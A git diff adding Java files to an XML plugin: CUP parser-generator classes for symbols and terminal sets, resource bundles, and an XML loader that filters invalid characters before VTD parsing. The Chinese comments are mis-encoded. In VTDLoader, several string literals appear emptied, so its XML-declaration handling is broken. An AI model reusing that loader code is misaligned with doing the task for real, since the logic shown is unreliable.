. . . . . . .*/ + + /** Convert to a string. */ + public String toString() + { + return name(); + } + + /*-----------------------------------------------------------*/ + +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/symbol_part.java b/base_plugins/net.heartsome.xml/src/java_cup/symbol_part.java new file mode 100644 index 0000000..0a74e02 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/symbol_part.java @@ -0,0 +1,100 @@ +package java_cup; + +/** This class represents a part of a production which is a symbol (terminal + * or non terminal). This simply maintains a reference to the symbol in + * question. + * + * @see java_cup.production + * @version last updated: 11/25/95 + * @author Scott Hudson + */ +public class symbol_part extends production_part { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Full constructor. + * @param sym the symbol that this part is made up of. + * @param lab an optional label string for the part. + */ + public symbol_part(symbol sym, String lab) throws internal_error + { + super(lab); + + if (sym == null) + throw new internal_error( + "Attempt to construct a symbol_part with a null symbol"); + _the_symbol = sym; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor with no label. + * @param sym the symbol that this part is made up of. + */ + public symbol_part(symbol sym) throws internal_error + { + this(sym,null); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** The symbol that this part is made up of. */ + protected symbol _the_symbol; + + /** The symbol that this part is made up of. */ + public symbol the_symbol() {return _the_symbol;} + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Respond that we are not an action part. */ + public boolean is_action() { return false; } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality comparison. */ + public boolean equals(symbol_part other) + { + return other != null && super.equals(other) && + the_symbol().equals(other.the_symbol()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality comparison. */ + public boolean equals(Object other) + { + if (!(other instanceof symbol_part)) + return false; + else + return equals((symbol_part)other); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce a hash code. */ + public int hashCode() + { + return super.hashCode() ^ + (the_symbol()==null ? 0 : the_symbol().hashCode()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to a string. */ + public String toString() + { + if (the_symbol() != null) + return super.toString() + the_symbol(); + else + return super.toString() + "$$MISSING-SYMBOL$$"; + } + + /*-----------------------------------------------------------*/ + +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/symbol_set.java b/base_plugins/net.heartsome.xml/src/java_cup/symbol_set.java new file mode 100644 index 0000000..952b898 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/symbol_set.java @@ -0,0 +1,231 @@ + +package java_cup; + +import java.util.Hashtable; +import java.util.Enumeration; + +/** This class represents a set of symbols and provides a series of + * set operations to manipulate them. + * + * @see java_cup.symbol + * @version last updated: 11/25/95 + * @author Scott Hudson + */ +public class symbol_set { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Constructor for an empty set. */ + public symbol_set() { } + + /** Constructor for cloning from another set. + * @param other the set we are cloning from. + */ + public symbol_set(symbol_set other) throws internal_error + { + not_null(other); + _all = (Hashtable)other._all.clone(); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** A hash table to hold the set. Symbols are keyed using their name string. + */ + protected Hashtable _all = new Hashtable(11); + + /** Access to all elements of the set. */ + public Enumeration all() {return _all.elements();} + + /** size of the set */ + public int size() {return _all.size();} + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** Helper function to test for a null object and throw an exception + * if one is found. + * @param obj the object we are testing. + */ + protected void not_null(Object obj) throws internal_error + { + if (obj == null) + throw new internal_error("Null object used in set operation"); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if the set contains a particular symbol. + * @param sym the symbol we are looking for. + */ + public boolean contains(symbol sym) {return _all.containsKey(sym.name());} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if this set is an (improper) subset of another. + * @param other the set we are testing against. + */ + public boolean is_subset_of(symbol_set other) throws internal_error + { + not_null(other); + + /* walk down our set and make sure every element is in the other */ + for (Enumeration e = all(); e.hasMoreElements(); ) + if (!other.contains((symbol)e.nextElement())) + return false; + + /* they were all there */ + return true; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if this set is an (improper) superset of another. + * @param other the set we are are testing against. + */ + public boolean is_superset_of(symbol_set other) throws internal_error + { + not_null(other); + return other.is_subset_of(this); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Add a single symbol to the set. + * @param sym the symbol we are adding. + * @return true if this changes the set. + */ + public boolean add(symbol sym) throws internal_error + { + Object previous; + + not_null(sym); + + /* put the object in */ + previous = _all.put(sym.name(),sym); + + /* if we had a previous, this is no change */ + return previous == null; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Remove a single symbol if it is in the set. + * @param sym the symbol we are removing. + */ + public void remove(symbol sym) throws internal_error + { + not_null(sym); + _all.remove(sym.name()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Add (union) in a complete set. + * @param other the set we are adding in. + * @return true if this changes the set. + */ + public boolean add(symbol_set other) throws internal_error + { + boolean result = false; + + not_null(other); + + /* walk down the other set and do the adds individually */ + for (Enumeration e = other.all(); e.hasMoreElements(); ) + result = add((symbol)e.nextElement()) || result; + + return result; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Remove (set subtract) a complete set. + * @param other the set we are removing. + */ + public void remove(symbol_set other) throws internal_error + { + not_null(other); + + /* walk down the other set and do the removes individually */ + for (Enumeration e = other.all(); e.hasMoreElements(); ) + remove((symbol)e.nextElement()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality comparison. */ + public boolean equals(symbol_set other) + { + if (other == null || other.size() != size()) return false; + + /* once we know they are the same size, then improper subset does test */ + try { + return is_subset_of(other); + } catch (internal_error e) { + /* can't throw the error (because super class doesn't), so we crash */ + e.crash(); + return false; + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality comparison. */ + public boolean equals(Object other) + { + if (!(other instanceof symbol_set)) + return false; + else + return equals((symbol_set)other); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Compute a hash code. */ + public int hashCode() + { + int result = 0; + int cnt; + Enumeration e; + + /* hash together codes from at most first 5 elements */ + for (e = all(), cnt=0 ; e.hasMoreElements() && cnt<5; cnt++) + result ^= ((symbol)e.nextElement()).hashCode(); + + return result; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to a string. */ + public String toString() + { + String result; + boolean comma_flag; + + result = "{"; + comma_flag = false; + for (Enumeration e = all(); e.hasMoreElements(); ) + { + if (comma_flag) + result += ", "; + else + comma_flag = true; + + result += ((symbol)e.nextElement()).name(); + } + result += "}"; + + return result; + } + + /*-----------------------------------------------------------*/ + +} + + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/terminal.java b/base_plugins/net.heartsome.xml/src/java_cup/terminal.java new file mode 100644 index 0000000..0e4a2e1 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/terminal.java @@ -0,0 +1,169 @@ +package java_cup; + +import java_cup.assoc; +import java.util.Hashtable; +import java.util.Enumeration; + +/** This class represents a terminal symbol in the grammar. Each terminal + * has a textual name, an index, and a string which indicates the type of + * object it will be implemented with at runtime (i.e. the class of object + * that will be returned by the scanner and pushed on the parse stack to + * represent it). + * + * @version last updated: 7/3/96 + * @author Frank Flannery + */ +public class terminal extends symbol { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Full constructor. + * @param nm the name of the terminal. + * @param tp the type of the terminal. + */ + public terminal(String nm, String tp, int precedence_side, int precedence_num) + { + /* superclass does most of the work */ + super(nm, tp); + + /* add to set of all terminals and check for duplicates */ + Object conflict = _all.put(nm,this); + if (conflict != null) + // can't throw an execption here because this is used in static + // initializers, so we do a crash instead + // was: + // throw new internal_error("Duplicate terminal (" + nm + ") created"); + (new internal_error("Duplicate terminal (" + nm + ") created")).crash(); + + /* assign a unique index */ + _index = next_index++; + + /* set the precedence */ + _precedence_num = precedence_num; + _precedence_side = precedence_side; + + /* add to by_index set */ + _all_by_index.put(new Integer(_index), this); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor for non-precedented terminal + */ + + public terminal(String nm, String tp) + { + this(nm, tp, assoc.no_prec, -1); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor with default type. + * @param nm the name of the terminal. + */ + public terminal(String nm) + { + this(nm, null); + } + + /*-----------------------------------------------------------*/ + /*------------------- Class Variables ---------------------*/ + /*-----------------------------------------------------------*/ + + private int _precedence_num; + private int _precedence_side; + + /*-----------------------------------------------------------*/ + /*--- (Access to) Static (Class) Variables ------------------*/ + /*-----------------------------------------------------------*/ + + /** Table of all terminals. Elements are stored using name strings as + * the key + */ + protected static Hashtable _all = new Hashtable(); + + /** Access to all terminals. */ + public static Enumeration all() {return _all.elements();} + + /** Lookup a terminal by name string. */ + public static terminal find(String with_name) + { + if (with_name == null) + return null; + else + return (terminal)_all.get(with_name); + } + + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Table of all terminals indexed by their index number. */ + protected static Hashtable _all_by_index = new Hashtable(); + + /** Lookup a terminal by index. */ + public static terminal find(int indx) + { + Integer the_indx = new Integer(indx); + + return (terminal)_all_by_index.get(the_indx); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Total number of terminals. */ + public static int number() {return _all.size();} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Static counter to assign unique index. */ + protected static int next_index = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Special terminal for end of input. */ + public static final terminal EOF = new terminal("EOF"); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** special terminal used for error recovery */ + public static final terminal error = new terminal("error"); + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Report this symbol as not being a non-terminal. */ + public boolean is_non_term() + { + return false; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to a string. */ + public String toString() + { + return super.toString() + "[" + index() + "]"; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** get the precedence of a terminal */ + public int precedence_num() { + return _precedence_num; + } + public int precedence_side() { + return _precedence_side; + } + + /** set the precedence of a terminal */ + public void set_precedence(int p, int new_prec) { + _precedence_side = p; + _precedence_num = new_prec; + } + + /*-----------------------------------------------------------*/ + +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/terminal_set.java b/base_plugins/net.heartsome.xml/src/java_cup/terminal_set.java new file mode 100644 index 0000000..a7c1211 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/terminal_set.java @@ -0,0 +1,253 @@ + +package java_cup; + +import java.util.BitSet; + +/** A set of terminals implemented as a bitset. + * @version last updated: 11/25/95 + * @author Scott Hudson + */ +public class terminal_set { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Constructor for an empty set. */ + public terminal_set() + { + /* allocate the bitset at what is probably the right size */ + _elements = new BitSet(terminal.number()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor for cloning from another set. + * @param other the set we are cloning from. + */ + public terminal_set(terminal_set other) + throws internal_error + { + not_null(other); + _elements = (BitSet)other._elements.clone(); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Static (Class) Variables ------------------*/ + /*-----------------------------------------------------------*/ + + /** Constant for the empty set. */ + public static final terminal_set EMPTY = new terminal_set(); + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** Bitset to implement the actual set. */ + protected BitSet _elements; + + /*-----------------------------------------------------------*/ + /*--- General Methods ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Helper function to test for a null object and throw an exception if + * one is found. + * @param obj the object we are testing. + */ + protected void not_null(Object obj) throws internal_error + { + if (obj == null) + throw new internal_error("Null object used in set operation"); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if the set is empty. */ + public boolean empty() + { + return equals(EMPTY); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if the set contains a particular terminal. + * @param sym the terminal symbol we are looking for. + */ + public boolean contains(terminal sym) + throws internal_error + { + not_null(sym); + return _elements.get(sym.index()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Given its index determine if the set contains a particular terminal. + * @param indx the index of the terminal in question. + */ + public boolean contains(int indx) + { + return _elements.get(indx); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if this set is an (improper) subset of another. + * @param other the set we are testing against. + */ + public boolean is_subset_of(terminal_set other) + throws internal_error + { + not_null(other); + + /* make a copy of the other set */ + BitSet copy_other = (BitSet)other._elements.clone(); + + /* and or in */ + copy_other.or(_elements); + + /* if it hasn't changed, we were a subset */ + return copy_other.equals(other._elements); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if this set is an (improper) superset of another. + * @param other the set we are testing against. + */ + public boolean is_superset_of(terminal_set other) + throws internal_error + { + not_null(other); + return other.is_subset_of(this); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Add a single terminal to the set. + * @param sym the terminal being added. + * @return true if this changes the set. + */ + public boolean add(terminal sym) + throws internal_error + { + boolean result; + + not_null(sym); + + /* see if we already have this */ + result = _elements.get(sym.index()); + + /* if not we add it */ + if (!result) + _elements.set(sym.index()); + + return result; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Remove a terminal if it is in the set. + * @param sym the terminal being removed. + */ + public void remove(terminal sym) + throws internal_error + { + not_null(sym); + _elements.clear(sym.index()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Add (union) in a complete set. + * @param other the set being added. + * @return true if this changes the set. + */ + public boolean add(terminal_set other) + throws internal_error + { + not_null(other); + + /* make a copy */ + BitSet copy = (BitSet)_elements.clone(); + + /* or in the other set */ + _elements.or(other._elements); + + /* changed if we are not the same as the copy */ + return !_elements.equals(copy); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if this set intersects another. + * @param other the other set in question. + */ + public boolean intersects(terminal_set other) + throws internal_error + { + not_null(other); + + /* make a copy of the other set */ + BitSet copy = (BitSet)other._elements.clone(); + + /* xor out our values */ + copy.xor(this._elements); + + /* see if its different */ + return !copy.equals(other._elements); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality comparison. */ + public boolean equals(terminal_set other) + { + if (other == null) + return false; + else + return _elements.equals(other._elements); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality comparison. */ + public boolean equals(Object other) + { + if (!(other instanceof terminal_set)) + return false; + else + return equals((terminal_set)other); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to string. */ + public String toString() + { + String result; + boolean comma_flag; + + result = "{"; + comma_flag = false; + for (int t = 0; t < terminal.number(); t++) + { + if (_elements.get(t)) + { + if (comma_flag) + result += ", "; + else + comma_flag = true; + + result += terminal.find(t).name(); + } + } + result += "}"; + + return result; + } + + /*-----------------------------------------------------------*/ + +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/version.java b/base_plugins/net.heartsome.xml/src/java_cup/version.java new file mode 100644 index 0000000..334951e --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/version.java @@ -0,0 +1,55 @@ + +package java_cup; + +/** This class contains version and authorship information. + * It contains only static data elements and basically just a central + * place to put this kind of information so it can be updated easily + * for each release. + * + * Version numbers used here are broken into 3 parts: major, minor, and + * update, and are written as v.. (e.g. v0.10a). + * Major numbers will change at the time of major reworking of some + * part of the system. Minor numbers for each public release or + * change big enough to cause incompatibilities. Finally update + * letter will be incremented for small bug fixes and changes that + * probably wouldn't be noticed by a user. + * + * @version last updated: 12/22/97 [CSA] + * @author Frank Flannery + */ + +public class version { + /** The major version number. */ + public static final int major = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The minor version number. */ + public static final int minor = 10; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The update letter. */ + public static final char update = 'k'; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** String for the current version. */ + public static final String version_str = "v" + major + "." + minor + update; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Full title of the system */ + public static final String title_str = "CUP " + version_str; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Name of the author */ + public static final String author_str = + "Scott E. Hudson, Frank Flannery, and C. Scott Ananian"; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The command name normally used to invoke this program */ + public static final String program_name = "java_cup"; +} diff --git a/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/Messages.java b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/Messages.java new file mode 100644 index 0000000..c6aeeca --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.xml.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.xml.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/message.properties b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/message.properties new file mode 100644 index 0000000..91d85a7 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/message.properties @@ -0,0 +1,2 @@ +vtdimpl.VTDUtils.logger1 = [LOG] VTDNav \u5b9e\u4f8b\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u6784\u5efa VTDUtils \u5b9e\u4f8b\u3002 +vtdimpl.VTDUtils.logger2 = [LOG] Master document encoding not yet supported by XML modifier \ No newline at end of file diff --git a/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/message_en.properties b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/message_en.properties new file mode 100644 index 0000000..637800b --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/message_en.properties @@ -0,0 +1,2 @@ +vtdimpl.VTDUtils.logger1 = [LOG] VTDNav \u5b9e\u4f8b\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u6784\u5efa VTDUtils \u5b9e\u4f8b\u3002 +vtdimpl.VTDUtils.logger2 = [LOG] Master document encoding not yet supported by XML modifier diff --git a/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/message_zh.properties b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/message_zh.properties new file mode 100644 index 0000000..91d85a7 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/resource/message_zh.properties @@ -0,0 +1,2 @@ +vtdimpl.VTDUtils.logger1 = [LOG] VTDNav \u5b9e\u4f8b\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u6784\u5efa VTDUtils \u5b9e\u4f8b\u3002 +vtdimpl.VTDUtils.logger2 = [LOG] Master document encoding not yet supported by XML modifier \ No newline at end of file diff --git a/base_plugins/net.heartsome.xml/src/net/heartsome/xml/vtdimpl/EmptyFileException.java b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/vtdimpl/EmptyFileException.java new file mode 100644 index 0000000..101ec25 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/vtdimpl/EmptyFileException.java @@ -0,0 +1,32 @@ +/** + * EmptyFileException.java + * + * Version information : + * + * Date:2013-11-27 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.xml.vtdimpl; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class EmptyFileException extends Exception { + + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + + public EmptyFileException() { + super(); + } + + public EmptyFileException(String msg) { + super(msg); + } +} diff --git a/base_plugins/net.heartsome.xml/src/net/heartsome/xml/vtdimpl/VTDLoader.java b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/vtdimpl/VTDLoader.java new file mode 100644 index 0000000..6830085 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/vtdimpl/VTDLoader.java @@ -0,0 +1,200 @@ +/** + * VTDLoader.java + * + * Version information : + * + * Date:2013-11-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.xml.vtdimpl; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.nio.ByteBuffer; +import java.nio.CharBuffer; +import java.nio.charset.Charset; +import java.util.Arrays; + +import com.ximpleware.ParseException; +import com.ximpleware.VTDGen; +import com.ximpleware.parser.XMLChar; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class VTDLoader { + + /** + * 使用 VTD è§£æž XML 文件,返回 VTDGen 对象
    + * è§£æž XML 时忽略掉了 XML 标准中的éžæ³•å­—符 + * @param file + * @return + * @throws ParseException + * @throws IOException + * @throws EmptyFileException + * @throws Exception + * ; + */ + public static VTDGen loadVTDGen(File f, String fileEncoding) throws ParseException, IOException, EmptyFileException { + BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(f), fileEncoding)); + try { + char[] cbuf = new char[8192]; + int count = reader.read(cbuf); + if (count <= 1) {// Error Empty File + throw new EmptyFileException(); + } + StringBuilder _sb = new StringBuilder(); + _sb.append(cbuf, 0, count < 500 ? count : 500); // å–å‰500个字符进行判断 + int stIdx = _sb.indexOf(""); + if (endIdx != -1 && _sb.indexOf("encoding") != -1) { + endIdx += 2; + String s = ""; + char[] temp = new char[cbuf.length - endIdx + s.length()]; + char[] schar = s.toCharArray(); + System.arraycopy(schar, 0, temp, 0, schar.length); + System.arraycopy(cbuf, endIdx, temp, schar.length, cbuf.length - endIdx); + cbuf = temp; + count = count - endIdx + s.length(); + } + } else { + throw new ParseException("Other Error: XML not starting properly"); + } + byte[] bArr = new byte[(int) f.length()]; + int i = 0; + int idx = 0; + while (count > 0) { + int tempIdx = 0; + char[] tempChar = new char[count]; + for (; i < count; i++) { + char c = cbuf[i]; + if (!XMLChar.isValidChar(c)) { + continue; + } else if (c == '&') { + StringBuilder sb = new StringBuilder(); + int val = 0; + int j = i + 1; + if (j >= count) { + c = (char) reader.read(); + } else { + c = cbuf[j++]; + } + sb.append(c); + if (c == '#') { + if (j >= count) { + c = (char) reader.read(); + } else { + c = cbuf[j++]; + } + sb.append(c); + if (c == 'x') { + while (true) { + if (j >= count) { + c = (char) reader.read(); + } else { + c = cbuf[j++]; + } + sb.append(c); + if (c >= '0' && c <= '9') { + val = (val << 4) + (c - '0'); + } else if (c >= 'a' && c <= 'f') { + val = (val << 4) + (c - 'a' + 10); + } else if (c >= 'A' && c <= 'F') { + val = (val << 4) + (c - 'A' + 10); + } else if (c == ';') { + break; + } else { + break; + } + } + } else { + while (true) { + if (c >= '0' && c <= '9') { + val = val * 10 + (c - '0'); + } else if (c == ';') { + break; + } else { + break; + } + if (j >= count) { + c = (char) reader.read(); + } else { + c = cbuf[j++]; + } + sb.append(c); + } + } + if (!XMLChar.isValidChar(val)) { + if (j <= count) { + i = j; + } + System.out.println((char) val + " " + val + " " + sb); + continue; + } else { + c = cbuf[i]; + tempChar[tempIdx++] = c; + for (int t = 0; t < sb.length(); t++) { + if (tempIdx >= tempChar.length) { + tempChar = Arrays.copyOf(tempChar, tempChar.length + 1); + count = tempChar.length; + } + tempChar[tempIdx++] = sb.charAt(t); + i++; + } + } + } else { + c = cbuf[i]; + tempChar[tempIdx++] = c; + for (int t = 0; t < sb.length(); t++) { + if (tempIdx >= tempChar.length) { + tempChar = Arrays.copyOf(tempChar, tempChar.length + 1); + count = tempChar.length; + } + tempChar[tempIdx++] = sb.charAt(t); + i++; + } + } + } else { + tempChar[tempIdx++] = c; + } + } + if (tempChar.length != 0) { + byte[] temp = getBytes(tempChar, 0, tempIdx); + System.arraycopy(temp, 0, bArr, idx, temp.length); + idx += temp.length; + } + count = reader.read(cbuf); + i = 0; + } + +// FileOutputStream os = new FileOutputStream("C:\\Users\\Jason\\Desktop\\Trados 2007.tmxsasas"); +// os.write(bArr, 0, idx); +// os.close(); + + VTDGen vg = new VTDGen(); + vg.setDoc(Arrays.copyOf(bArr, idx)); + vg.parse(true); + return vg; + } finally { + reader.close(); + } + } + + private static byte[] getBytes(char[] chars, int offset, int length) { + Charset cs = Charset.defaultCharset(); + CharBuffer cb = CharBuffer.wrap(chars, offset, length); + ByteBuffer bb = cs.encode(cb); + byte[] ba = bb.array(); + return Arrays.copyOf(ba, bb.limit()); + } +} diff --git a/base_plugins/net.heartsome.xml/src/net/heartsome/xml/vtdimpl/VTDUtils.java b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/vtdimpl/VTDUtils.java new file mode 100644 index 0000000..ae484cc --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/net/heartsome/xml/vtdimpl/VTDUtils.java @@ -0,0 +1,1454 @@ +package net.heartsome.xml.vtdimpl; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.UnsupportedEncodingException; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map.Entry; +import java.util.StringTokenizer; +import java.util.Vector; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.xml.resource.Messages; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * @author John + * @version + * @since JDK1.6 + */ +public class VTDUtils { + + private static final Logger LOGGER = LoggerFactory.getLogger(VTDUtils.class); + + /** + * å‰ç¼€ä¸ºâ€œxmlâ€çš„默认命å空间的 URL。 + */ + public static final String XML_NAMESPACE_URL = "http://www.w3.org/XML/1998/namespace"; + + /** VTD Navigator 对象 **/ + private VTDNav vn; + + /** VTD Generator 对象 **/ + private VTDGen vg; + + /** + * 导航该 XPath 语å¥ç›´åˆ°æœ«å°¾ã€‚ + */ + public static final int PILOT_TO_END = 1 << 1; + + /** + * 如果ä¸å­˜åœ¨è¯¥ XPath 对应的节点则创建。 + */ + public static final int CREATE_IF_NOT_EXIST = 1 << 2; + 